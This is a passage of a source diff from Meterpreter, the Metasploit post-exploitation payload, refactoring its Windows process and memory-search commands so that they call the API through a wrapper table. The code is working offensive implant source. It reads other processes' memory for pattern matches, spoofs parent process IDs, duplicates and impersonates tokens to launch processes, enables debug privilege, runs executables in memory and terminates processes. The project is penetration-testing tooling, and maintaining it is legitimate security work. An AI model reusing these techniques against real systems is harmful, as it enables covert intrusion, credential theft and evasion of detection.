} -static HMODULE hKernel32 = NULL; -static HMODULE hNTDLL = NULL; - -static GETPROCADDRESS fGetProcAddress = NULL; -static OPENPROCESS fOpenProcess = NULL; -static CLOSEHANDLE fCloseHandle = NULL; -static VIRTUALQUERYEX fVirtualQueryEx = NULL; -static NTREADVIRTUALMEMORY fNtReadVirtualMemory = NULL; - -NTSTATUS setup_handles() -{ - if ((hKernel32 = GetModuleHandleA("kernel32.dll")) == NULL) { dprintf("[MEM SEARCH] Could not get kernel32.dll handle"); return ERROR_INVALID_HANDLE; } - - if ((hNTDLL = GetModuleHandleA("ntdll.dll")) == NULL) { dprintf("[MEM SEARCH] Could not get ntdll.dll handle"); return ERROR_INVALID_HANDLE; } - - if ((fGetProcAddress = (GETPROCADDRESS)GetProcAddress(hKernel32, "GetProcAddress")) == NULL) { dprintf("[MEM SEARCH] Could not get GetProcAddress handle"); return ERROR_INVALID_ADDRESS; } - - if ((fVirtualQueryEx = (VIRTUALQUERYEX)fGetProcAddress(hKernel32, "VirtualQueryEx")) == NULL) { dprintf("[MEM SEARCH] Could not get VirtualQueryEx handle"); return ERROR_INVALID_ADDRESS; } - - if ((fOpenProcess = (OPENPROCESS)fGetProcAddress(hKernel32, "OpenProcess")) == NULL) { dprintf("[MEM SEARCH] Could not get OpenProcess handle"); return ERROR_INVALID_ADDRESS; } - - if ((fCloseHandle = (CLOSEHANDLE)fGetProcAddress(hKernel32, "CloseHandle")) == NULL) { dprintf("[MEM SEARCH] Could not get CloseHandle handle"); return ERROR_INVALID_ADDRESS; } - - if ((fNtReadVirtualMemory = (NTREADVIRTUALMEMORY)fGetProcAddress(hNTDLL, "NtReadVirtualMemory")) == NULL ) { dprintf("[MEM SEARCH] Could not get NtReadVirtualMemory handle"); return ERROR_INVALID_ADDRESS; } - - return ERROR_SUCCESS; -} - -/* +/* * Read through all of a process's virtual memory in the search for regular expression needles. * * req: TLV_TYPE_PID - The target process ID. @@ -543,19 +497,12 @@ DWORD request_sys_process_memory_search(Remote* remote, Packet* packet) if (min_match_length > max_match_length || max_match_length == 0) { dprintf("[MEM SEARCH] Incorrect min or max match lengths"); result = ERROR_INVALID_PARAMETER; goto done; } const size_t current_max_match_length = max_match_length; - dprintf("[MEM SEARCH] Getting handles & proc addresses"); - if ((result = setup_handles()) != ERROR_SUCCESS) - { - dprintf("[MEM SEARCH] Could not set up all necessary handles & proc addresses"); - goto done; - } - - const DWORD process_vm_read = 0x0010; + const DWORD process_vm_read = 0x0010; const DWORD process_query_information = 0x0400; const DWORD wanted_process_perms = process_vm_read | process_query_information; dprintf("[MEM SEARCH] Opening process"); - process_handle = fOpenProcess(wanted_process_perms, FALSE, pid); + process_handle = met_api->win_api.kernel32.OpenProcess(wanted_process_perms, FALSE, pid); if (process_handle == NULL) { dprintf("[MEM SEARCH] Could not get process handle"); result = ERROR_INVALID_HANDLE; goto done; } MEMORY_BASIC_INFORMATION mem = { 0 }; @@ -563,7 +510,7 @@ DWORD request_sys_process_memory_search(Remote* remote, Packet* packet) memory_buffer = (unsigned char*)malloc(MEMORY_BUFFER_SIZE * sizeof(unsigned char)); if (memory_buffer == NULL) { dprintf("[MEM SEARCH] Could not allocate memory buffer"); result = ERROR_OUTOFMEMORY; goto done; } - for (size_t current_ptr = 0; fVirtualQueryEx(process_handle, (LPCVOID)current_ptr, &mem, sizeof(mem)); current_ptr += mem.RegionSize) + for (size_t current_ptr = 0; met_api->win_api.kernel32.VirtualQueryEx(process_handle, (LPCVOID)current_ptr, &mem, sizeof(mem)); current_ptr += mem.RegionSize) { if (!can_read_memory(mem.Protect)) { continue; } @@ -578,11 +525,11 @@ DWORD request_sys_process_memory_search(Remote* remote, Packet* packet) const size_t bytes_to_read = min(leftover_bytes, MEMORY_BUFFER_SIZE * sizeof(unsigned char)); dprintf("[MEM SEARCH] Leftover Bytes count: %llu", leftover_bytes); dprintf("[MEM SEARCH] Bytes to read: %llu", bytes_to_read); - size_t bytes_read = 0; + SIZE_T bytes_read = 0; const size_t read_address = (size_t)mem.BaseAddress + memory_region_offset; // Note: This will read up to a maximum of bytes_to_read OR to the end of the memory region if the end of it has been reached. - if (fNtReadVirtualMemory(process_handle, (LPCVOID)read_address, memory_buffer, bytes_to_read, &bytes_read) != ERROR_SUCCESS) + if (met_api->win_api.ntdll.ZwReadVirtualMemory(process_handle, (LPCVOID)read_address, memory_buffer, bytes_to_read, &bytes_read) != ERROR_SUCCESS) { dprintf("[MEM SEARCH] Failed to read some virtual memory for process, skipping %u bytes", bytes_to_read); memory_region_offset += bytes_to_read; @@ -639,7 +586,7 @@ DWORD request_sys_process_memory_search(Remote* remote, Packet* packet) done: dprintf("[MEM SEARCH] Memory Search complete."); if (memory_buffer != NULL) { dprintf("[MEM SEARCH] Freeing process memory buffer."); free(memory_buffer); } - if (process_handle != NULL) { dprintf("[MEM SEARCH] Closing process handle."); fCloseHandle(process_handle); } + if (process_handle != NULL) { dprintf("[MEM SEARCH] Closing process handle."); met_api->win_api.kernel32.CloseHandle(process_handle); } dprintf("[MEM SEARCH] Transmitting response"); met_api->packet.transmit_response(result, remote, response); diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c index 0d28e3225..6b23c11b9 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c @@ -5,31 +5,7 @@ #include "./../session.h" #include "in-mem-exe.h" /* include skapetastic in-mem exe exec */ -typedef BOOL (WINAPI *PEnumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, LPDWORD needed); -typedef DWORD (WINAPI *PGetModuleBaseName)(HANDLE p, HMODULE mod, LPWSTR base, DWORD baseSize); -typedef DWORD (WINAPI *PGetModuleFileNameEx)(HANDLE p, HMODULE mod, LPWSTR path, DWORD pathSize); - -typedef BOOL (STDMETHODCALLTYPE FAR * LPFNCREATEENVIRONMENTBLOCK)( LPVOID *lpEnvironment, HANDLE hToken, BOOL bInherit ); -typedef BOOL (STDMETHODCALLTYPE FAR * LPFNDESTROYENVIRONMENTBLOCK) ( LPVOID lpEnvironment ); -typedef BOOL (WINAPI * LPCREATEPROCESSWITHTOKENW)( HANDLE, DWORD, LPCWSTR, LPWSTR, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION ); -typedef BOOL (WINAPI * UPDATEPROCTHREADATTRIBUTE) ( - LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, - DWORD dwFlags, - DWORD_PTR Attribute, - PVOID lpValue, - SIZE_T cbSize, - PVOID lpPreviousValue, - PSIZE_T lpReturnSize -); - -typedef BOOL (WINAPI* INITIALIZEPROCTHREADATTRIBUTELIST) ( - LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, - DWORD dwAttributeCount, - DWORD dwFlags, - PSIZE_T lpSize -); - -typedef struct _STARTUPINFOEXW +typedef struct _STARTUPINFOEXW { STARTUPINFOW StartupInfo; LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; @@ -55,22 +31,22 @@ DWORD request_sys_process_attach(Remote *remote, Packet *packet) dprintf("[attach]: pid %d", pid); // No pid? Use current. if (!pid) - handle = GetCurrentProcess(); + handle = met_api->win_api.kernel32.GetCurrentProcess(); // Otherwise, attach. else { BOOLEAN inherit = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_INHERIT); DWORD permission = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS); - handle = OpenProcess(permission, inherit, pid); - dprintf("[attach] OpenProcess: opened process %d with permission %d: 0x%p [%d]\n", pid, permission, handle, GetLastError()); + handle = met_api->win_api.kernel32.OpenProcess(permission, inherit, pid); + dprintf("[attach] OpenProcess: opened process %d with permission %d: 0x%p [%d]\n", pid, permission, handle, met_api->win_api.kernel32.GetLastError()); } // If we have a handle, add it to the response if (handle) met_api->packet.add_tlv_qword(response, TLV_TYPE_HANDLE, (QWORD)handle); else - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); // Send the response packet to the requestor met_api->packet.transmit_response(result, remote, response); @@ -93,8 +69,8 @@ DWORD request_sys_process_close(Remote *remote, Packet *packet) if (handle) { - if (handle != GetCurrentProcess()) - CloseHandle(handle); + if (handle != met_api->win_api.kernel32.GetCurrentProcess()) + met_api->win_api.kernel32.CloseHandle(handle); } else result = ERROR_INVALID_PARAMETER; @@ -287,14 +263,12 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) wchar_t* commandLine_w = NULL; DWORD flags = 0, createFlags = 0, ppid = 0; BOOL inherit = FALSE; - HANDLE token, pToken; + HANDLE token, pToken; + HANDLE parentHandle = NULL; char * cpDesktop = NULL; - DWORD session = 0; - LPVOID pEnvironment = NULL; - LPFNCREATEENVIRONMENTBLOCK lpfnCreateEnvironmentBlock = NULL; - LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL; - HMODULE hUserEnvLib = NULL; - ProcessChannelContext * ctx = NULL; + DWORD session = 0; + LPVOID pEnvironment = NULL; + ProcessChannelContext * ctx = NULL; size_t size = 0; dprintf( "[PROCESS] request_sys_process_execute" ); @@ -401,7 +375,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) met_api->channel.set_type(newChannel, "process"); // Allocate the stdin and stdout pipes - if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0))) + if ((!met_api->win_api.kernel32.CreatePipe(&in[0], &in[1], &sa, 0)) || (!met_api->win_api.kernel32.CreatePipe(&out[0], &out[1], &sa, 0))) { met_api->channel.destroy(newChannel, NULL); @@ -409,7 +383,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) free(ctx); - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } @@ -443,48 +417,52 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) createFlags |= CREATE_SUSPENDED; // Set Parent PID if provided - if (ppid) { - dprintf("[execute] PPID spoofing\n"); - HMODULE hKernel32Lib = LoadLibrary("kernel32.dll"); - INITIALIZEPROCTHREADATTRIBUTELIST InitializeProcThreadAttributeList = (INITIALIZEPROCTHREADATTRIBUTELIST)GetProcAddress(hKernel32Lib, "InitializeProcThreadAttributeList"); - UPDATEPROCTHREADATTRIBUTE UpdateProcThreadAttribute = (UPDATEPROCTHREADATTRIBUTE)GetProcAddress(hKernel32Lib, "UpdateProcThreadAttribute"); - BOOLEAN inherit = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_INHERIT); - DWORD permission = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS); - HANDLE handle = OpenProcess(permission, inherit, ppid); - dprintf("[execute] OpenProcess: opened process %d with permission %d: 0x%p [%d]\n", ppid, permission, handle, GetLastError()); - if ( - handle && - hKernel32Lib && - InitializeProcThreadAttributeList && - UpdateProcThreadAttribute - ) { - size_t len = 0; - InitializeProcThreadAttributeList(NULL, 1, 0, &len); - si.lpAttributeList = malloc(len); - if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &len)) { - dprintf("[execute] InitializeProcThreadAttributeList: [%d]\n", GetLastError()); - result = GetLastError(); - break; - } - - dprintf("[execute] InitializeProcThreadAttributeList\n"); - - if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &handle, sizeof(HANDLE), 0, 0)) { - dprintf("[execute] UpdateProcThreadAttribute: [%d]\n", GetLastError()); - result = GetLastError(); - break; + if (ppid) { + dprintf("[execute] PPID spoofing\n"); + BOOLEAN inherit = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_INHERIT); + DWORD permission = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS); + parentHandle = met_api->win_api.kernel32.OpenProcess(permission, inherit, ppid); + SIZE_T len = 0; + if (!parentHandle) { + result = met_api->win_api.kernel32.GetLastError(); + break; + } + + // Missing optional exports preserve LastError, so seed a deterministic + // result before using the wrapper as an availability probe. + met_api->win_api.kernel32.SetLastError(ERROR_PROC_NOT_FOUND); + met_api->win_api.kernel32.InitializeProcThreadAttributeList(NULL, 1, 0, &len); + DWORD attributeError = met_api->win_api.kernel32.GetLastError(); + dprintf("[execute] OpenProcess: opened process %d with permission %d: 0x%p [%d]\n", ppid, permission, parentHandle, attributeError); + if (len != 0) { + si.lpAttributeList = malloc(len); + if (!si.lpAttributeList) { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + if (!met_api->win_api.kernel32.InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &len)) { + result = met_api->win_api.kernel32.GetLastError(); + dprintf("[execute] InitializeProcThreadAttributeList: [%d]\n", result); + break; + } + + dprintf("[execute] InitializeProcThreadAttributeList\n"); + + met_api->win_api.kernel32.SetLastError(ERROR_PROC_NOT_FOUND); + if (!met_api->win_api.kernel32.UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentHandle, sizeof(HANDLE), 0, 0)) { + result = met_api->win_api.kernel32.GetLastError(); + dprintf("[execute] UpdateProcThreadAttribute: [%d]\n", result); + break; } dprintf("[execute] UpdateProcThreadAttribute\n"); createFlags |= EXTENDED_STARTUPINFO_PRESENT; si.StartupInfo.cb = sizeof(STARTUPINFOEXW); - - FreeLibrary(hKernel32Lib); - } - else { - result = GetLastError(); - break; + } + else { + result = attributeError; + break; } } @@ -504,174 +482,144 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) token = remote->thread_token; dprintf("[execute] using thread impersonation token"); } - else if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &token)) + else if (!met_api->win_api.advapi32.OpenThreadToken(met_api->win_api.kernel32.GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &token)) { - OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token); + met_api->win_api.advapi32.OpenProcessToken(met_api->win_api.kernel32.GetCurrentProcess(), TOKEN_ALL_ACCESS, &token); } dprintf("[execute] token is 0x%.8x", token); // Duplicate to make primary token (try delegation first) - if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &pToken)) + if (!met_api->win_api.advapi32.DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &pToken)) { - if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &pToken)) + if (!met_api->win_api.advapi32.DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &pToken)) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); dprintf("[execute] failed to duplicate token 0x%.8x", result); break; } } - hUserEnvLib = LoadLibrary("userenv.dll"); - if (NULL != hUserEnvLib) - { - lpfnCreateEnvironmentBlock = (LPFNCREATEENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "CreateEnvironmentBlock"); - lpfnDestroyEnvironmentBlock = (LPFNDESTROYENVIRONMENTBLOCK)GetProcAddress(hUserEnvLib, "DestroyEnvironmentBlock"); - if (lpfnCreateEnvironmentBlock && lpfnCreateEnvironmentBlock(&pEnvironment, pToken, FALSE)) - { - createFlags |= CREATE_UNICODE_ENVIRONMENT; - dprintf("[execute] created a duplicated environment block"); - } - else - { - pEnvironment = NULL; - } - } - - if (!CreateProcessAsUserW(pToken, NULL, commandLine_w, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si.StartupInfo, &pi)) - { - LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL; - HANDLE hAdvapi32 = NULL; - wchar_t * wcmdline = NULL; - wchar_t * wdesktop = NULL; - result = GetLastError(); - - // sf: If we hit an ERROR_PRIVILEGE_NOT_HELD failure we can fall back to CreateProcessWithTokenW but this is only - // available on 2003/Vista/2008/7. CreateProcessAsUser() seems to be just borked on some systems IMHO. - if (result == ERROR_PRIVILEGE_NOT_HELD) - { - do - { - hAdvapi32 = LoadLibrary("advapi32.dll"); - if (!hAdvapi32) - { - break; - } - - pCreateProcessWithTokenW = (LPCREATEPROCESSWITHTOKENW)GetProcAddress(hAdvapi32, "CreateProcessWithTokenW"); - if (!pCreateProcessWithTokenW) - { - break; - } - - // convert the multibyte inputs to wide strings (No CreateProcessWithTokenA available unfortunatly)... - size = mbstowcs(NULL, commandLine, 0); - if (size == (size_t)-1) - { - break; - } - - wcmdline = (wchar_t *)malloc((size + 1) * sizeof(wchar_t)); - mbstowcs(wcmdline, commandLine, size); - - if (si.StartupInfo.lpDesktop) - { - size = mbstowcs(NULL, (char *)si.StartupInfo.lpDesktop, 0); - if (size != (size_t)-1) - { - wdesktop = (wchar_t *)malloc((size + 1) * sizeof(wchar_t)); - mbstowcs(wdesktop, (char *)si.StartupInfo.lpDesktop, size); - si.StartupInfo.lpDesktop = wdesktop; - } - } - - if (!pCreateProcessWithTokenW(pToken, LOGON_NETCREDENTIALS_ONLY, NULL, wcmdline, createFlags, pEnvironment, NULL, &si.StartupInfo, &pi)) - { - result = GetLastError(); - dprintf("[execute] failed to create the new process via CreateProcessWithTokenW 0x%.8x", result); - break; - } - - result = ERROR_SUCCESS; - - } while (0); - - if (hAdvapi32) - { - FreeLibrary(hAdvapi32); - } - - SAFE_FREE(wdesktop); - SAFE_FREE(wcmdline); - } - else - { - dprintf("[execute] failed to create the new process via CreateProcessAsUser 0x%.8x", result); - break; - } - } - - if (lpfnDestroyEnvironmentBlock && pEnvironment) - { - lpfnDestroyEnvironmentBlock(pEnvironment); - } - - if (NULL != hUserEnvLib) - { - FreeLibrary(hUserEnvLib); - } + if (met_api->win_api.userenv.CreateEnvironmentBlock(&pEnvironment, pToken, FALSE)) + { + createFlags |= CREATE_UNICODE_ENVIRONMENT; + dprintf("[execute] created a duplicated environment block"); + } + else + { + pEnvironment = NULL; + } + + if (!met_api->win_api.advapi32.CreateProcessAsUserW(pToken, NULL, commandLine_w, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si.StartupInfo, &pi)) + { + wchar_t * wcmdline = NULL; + wchar_t * wdesktop = NULL; + result = met_api->win_api.kernel32.GetLastError(); + + // sf: If we hit an ERROR_PRIVILEGE_NOT_HELD failure we can fall back to CreateProcessWithTokenW but this is only + // available on 2003/Vista/2008/7. CreateProcessAsUser() seems to be just borked on some systems IMHO. + if (result == ERROR_PRIVILEGE_NOT_HELD) + { + do + { + // convert the multibyte inputs to wide strings (No CreateProcessWithTokenA available unfortunatly)... + size = mbstowcs(NULL, commandLine, 0); + if (size == (size_t)-1) + { + break; + } + + wcmdline = (wchar_t *)malloc((size + 1) * sizeof(wchar_t)); + mbstowcs(wcmdline, commandLine, size); + + if (si.StartupInfo.lpDesktop) + { + size = mbstowcs(NULL, (char *)si.StartupInfo.lpDesktop, 0); + if (size != (size_t)-1) + { + wdesktop = (wchar_t *)malloc((size + 1) * sizeof(wchar_t)); + mbstowcs(wdesktop, (char *)si.StartupInfo.lpDesktop, size); + si.StartupInfo.lpDesktop = wdesktop; + } + } + + if (!met_api->win_api.advapi32.CreateProcessWithTokenW(pToken, LOGON_NETCREDENTIALS_ONLY, NULL, wcmdline, createFlags, pEnvironment, NULL, &si.StartupInfo, &pi)) + { + result = met_api->win_api.kernel32.GetLastError(); + dprintf("[execute] failed to create the new process via CreateProcessWithTokenW 0x%.8x", result); + break; + } + + result = ERROR_SUCCESS; + } while (0); + + SAFE_FREE(wdesktop); + SAFE_FREE(wcmdline); + } + else + { + dprintf("[execute] failed to create the new process via CreateProcessAsUser 0x%.8x", result); + break; + } + } + + if (pEnvironment) + { + met_api->win_api.userenv.DestroyEnvironmentBlock(pEnvironment); + } } - else if (flags & PROCESS_EXECUTE_FLAG_SESSION) - { - typedef BOOL(WINAPI * WTSQUERYUSERTOKEN)(ULONG SessionId, PHANDLE phToken); - WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL; - HANDLE hToken = NULL; - HMODULE hWtsapi32 = NULL; - BOOL bSuccess = FALSE; - DWORD dwResult = ERROR_SUCCESS; - - do - { - // Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it. - hWtsapi32 = LoadLibraryA("wtsapi32.dll"); - - session = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PROCESS_SESSION); - - if (session_id(GetCurrentProcessId()) == session || !hWtsapi32) - { - if (!CreateProcessW(NULL, commandLine_w, NULL, NULL, inherit, createFlags, NULL, NULL, &si.StartupInfo, &pi)) - { - BREAK_ON_ERROR("[PROCESS] execute in self session: CreateProcessW failed"); - } - } - else - { - pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress(hWtsapi32, "WTSQueryUserToken"); - if (!pWTSQueryUserToken) - { - BREAK_ON_ERROR("[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed"); - } - - if (!pWTSQueryUserToken(session, &hToken)) + else if (flags & PROCESS_EXECUTE_FLAG_SESSION) + { + HANDLE hToken = NULL; + DWORD dwResult = ERROR_SUCCESS; + + do + { + session = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PROCESS_SESSION); + + if (session_id(met_api->win_api.kernel32.GetCurrentProcessId()) == session) + { + if (!met_api->win_api.kernel32.CreateProcessW(NULL, commandLine_w, NULL, NULL, inherit, createFlags, NULL, NULL, &si.StartupInfo, &pi)) { - BREAK_ON_ERROR("[PROCESS] execute in session: WTSQueryUserToken failed"); + dwResult = met_api->win_api.kernel32.GetLastError(); + dprintf("[PROCESS] execute in self session: CreateProcessW failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); + break; } - if (!CreateProcessAsUserW(hToken, NULL, commandLine_w, NULL, NULL, inherit, createFlags, NULL, NULL, &si.StartupInfo, &pi)) + } + else + { + met_api->win_api.kernel32.SetLastError(ERROR_PROC_NOT_FOUND); + if (!met_api->win_api.wtsapi32.WTSQueryUserToken(session, &hToken)) + { + dwResult = met_api->win_api.kernel32.GetLastError(); + if (dwResult != ERROR_PROC_NOT_FOUND) + { + dprintf("[PROCESS] execute in session: WTSQueryUserToken failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); + break; + } + + // NT4/2000 do not export WTSQueryUserToken. Their historical + // behavior is to create the process in the current session. + if (!met_api->win_api.kernel32.CreateProcessW(NULL, commandLine_w, NULL, NULL, inherit, createFlags, NULL, NULL, &si.StartupInfo, &pi)) + { + dwResult = met_api->win_api.kernel32.GetLastError(); + break; + } + dwResult = ERROR_SUCCESS; + } + else if (!met_api->win_api.advapi32.CreateProcessAsUserW(hToken, NULL, commandLine_w, NULL, NULL, inherit, createFlags, NULL, NULL, &si.StartupInfo, &pi)) { - BREAK_ON_ERROR("[PROCESS] execute in session: CreateProcessAsUser failed"); + dwResult = met_api->win_api.kernel32.GetLastError(); + dprintf("[PROCESS] execute in session: CreateProcessAsUser failed. error=%d (0x%x)", dwResult, (ULONG_PTR)dwResult); + break; } } } while (0); - if (hWtsapi32) + if (hToken) { - FreeLibrary(hWtsapi32); - } - - if (hToken) - { - CloseHandle(hToken); + met_api->win_api.kernel32.CloseHandle(hToken); } result = dwResult; @@ -684,9 +632,9 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) else { // Try to execute the process - if (!CreateProcessW(NULL, commandLine_w, NULL, NULL, inherit, createFlags, NULL, NULL, &si.StartupInfo, &pi)) + if (!met_api->win_api.kernel32.CreateProcessW(NULL, commandLine_w, NULL, NULL, inherit, createFlags, NULL, NULL, &si.StartupInfo, &pi)) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } } @@ -703,16 +651,16 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) // if (!MapNewExecutableRegionInProcess(pi.hProcess, pi.hThread, inMemoryData.buffer)) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } // // Resume the thread and let it rock... // - if (ResumeThread(pi.hThread) == (DWORD)-1) + if (met_api->win_api.kernel32.ResumeThread(pi.hThread) == (DWORD)-1) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } @@ -736,7 +684,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) met_api->packet.add_tlv_qword(response, TLV_TYPE_PROCESS_HANDLE, (QWORD)pi.hProcess); - CloseHandle(pi.hThread); + met_api->win_api.kernel32.CloseHandle(pi.hThread); } } while (0); @@ -744,12 +692,16 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet) // Close the read side of stdin and the write side of stdout if (in[0]) { - CloseHandle(in[0]); - } - if (out[1]) - { - CloseHandle(out[1]); + met_api->win_api.kernel32.CloseHandle(in[0]); } + if (out[1]) + { + met_api->win_api.kernel32.CloseHandle(out[1]); + } + if (parentHandle) + { + met_api->win_api.kernel32.CloseHandle(parentHandle); + } // Free the command line if necessary if (commandLine) @@ -798,20 +750,20 @@ DWORD request_sys_process_kill(Remote *remote, Packet *packet) &pidTlv) == ERROR_SUCCESS) && (pidTlv.header.length >= sizeof(DWORD))) { - DWORD pid = ntohl(*(LPDWORD)pidTlv.buffer); + DWORD pid = met_api->win_api.ws2_32.ntohl(*(LPDWORD)pidTlv.buffer); HANDLE h = NULL; // Try to attach to the process - if (!(h = OpenProcess(PROCESS_TERMINATE, FALSE, pid))) + if (!(h = met_api->win_api.kernel32.OpenProcess(PROCESS_TERMINATE, FALSE, pid))) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } - if (!TerminateProcess(h, 0)) - result = GetLastError(); + if (!met_api->win_api.kernel32.TerminateProcess(h, 0)) + result = met_api->win_api.kernel32.GetLastError(); - CloseHandle(h); + met_api->win_api.kernel32.CloseHandle(h); } // Transmit the response @@ -838,17 +790,17 @@ DWORD request_sys_process_get_processes( Remote * remote, Packet * packet ) break; // If we can, get SeDebugPrivilege... - if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) + if( met_api->win_api.advapi32.OpenProcessToken( met_api->win_api.kernel32.GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) { TOKEN_PRIVILEGES priv = {0}; priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) - AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); + if( met_api->win_api.advapi32.LookupPrivilegeValueA( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) + met_api->win_api.advapi32.AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); - CloseHandle( hToken ); + met_api->win_api.kernel32.CloseHandle( hToken ); } // First we will try to get a process list via the toolhelp API. This method gives us the most information @@ -880,7 +832,7 @@ DWORD request_sys_process_getpid(Remote *remote, Packet *packet) { Packet *response = met_api->packet.create_response(packet); - met_api->packet.add_tlv_uint(response, TLV_TYPE_PID, GetCurrentProcessId()); + met_api->packet.add_tlv_uint(response, TLV_TYPE_PID, met_api->win_api.kernel32.GetCurrentProcessId()); met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); @@ -894,15 +846,10 @@ DWORD request_sys_process_getpid(Remote *remote, Packet *packet) */ DWORD request_sys_process_get_info(Remote *remote, Packet *packet) { - Packet *response = met_api->packet.create_response(packet); - - PEnumProcessModules enumProcessModules = NULL; - PGetModuleBaseName getModuleBaseName = NULL; - PGetModuleFileNameEx getModuleFileNameEx = NULL; - - HMODULE mod; - HANDLE psapi = NULL; - HANDLE handle; + Packet *response = met_api->packet.create_response(packet); + + HMODULE mod; + HANDLE handle; DWORD result = ERROR_SUCCESS; DWORD needed; wchar_t path[1024], name[512]; @@ -925,46 +872,19 @@ DWORD request_sys_process_get_info(Remote *remote, Packet *packet) break; } - // Open the process API - if (!(psapi = LoadLibrary("psapi"))) - { - result = GetLastError(); - break; - } - - if (!(enumProcessModules = (PEnumProcessModules)GetProcAddress(psapi, "EnumProcessModules"))) - { - result = GetLastError(); - break; - } - - // Try to resolve the address of GetModuleBaseNameA - if (!(getModuleBaseName = (PGetModuleBaseName)GetProcAddress(psapi, "GetModuleBaseNameW"))) - { - result = GetLastError(); - break; - } - - // Try to resolve the address of GetModuleFileNameExA - if (!(getModuleFileNameEx = (PGetModuleFileNameEx)GetProcAddress(psapi, "GetModuleFileNameExW"))) - { - result = GetLastError(); - break; - } - - memset(name, 0, sizeof(name)); - memset(path, 0, sizeof(path)); - - // Enumerate the first module in the process and get its base name - if ((!enumProcessModules(handle, &mod, sizeof(mod), &needed) || - (getModuleBaseName(handle, mod, name, sizeof(name) - 1) == 0))) + memset(name, 0, sizeof(name)); + memset(path, 0, sizeof(path)); + + // Enumerate the first module in the process and get its base name + if ((!met_api->win_api.psapi.EnumProcessModules(handle, &mod, sizeof(mod), &needed) || + (met_api->win_api.psapi.GetModuleBaseNameW(handle, mod, name, sizeof(name) - 1) == 0))) { - result = GetLastError(); + result = met_api->win_api.kernel32.GetLastError(); break; } - - // Try to get the process' file name - getModuleFileNameEx(handle, mod, path, sizeof(path) - 1); + + // Try to get the process' file name + met_api->win_api.psapi.GetModuleFileNameExW(handle, mod, path, sizeof(path) - 1); // Set the process' information on the response met_api->packet.add_tlv_string(response, TLV_TYPE_PROCESS_NAME, met_api->string.wchar_to_utf8(name)); @@ -975,12 +895,8 @@ DWORD request_sys_process_get_info(Remote *remote, Packet *packet) // Transmit the response met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); - // Close the psapi library and clean up - if (psapi) - 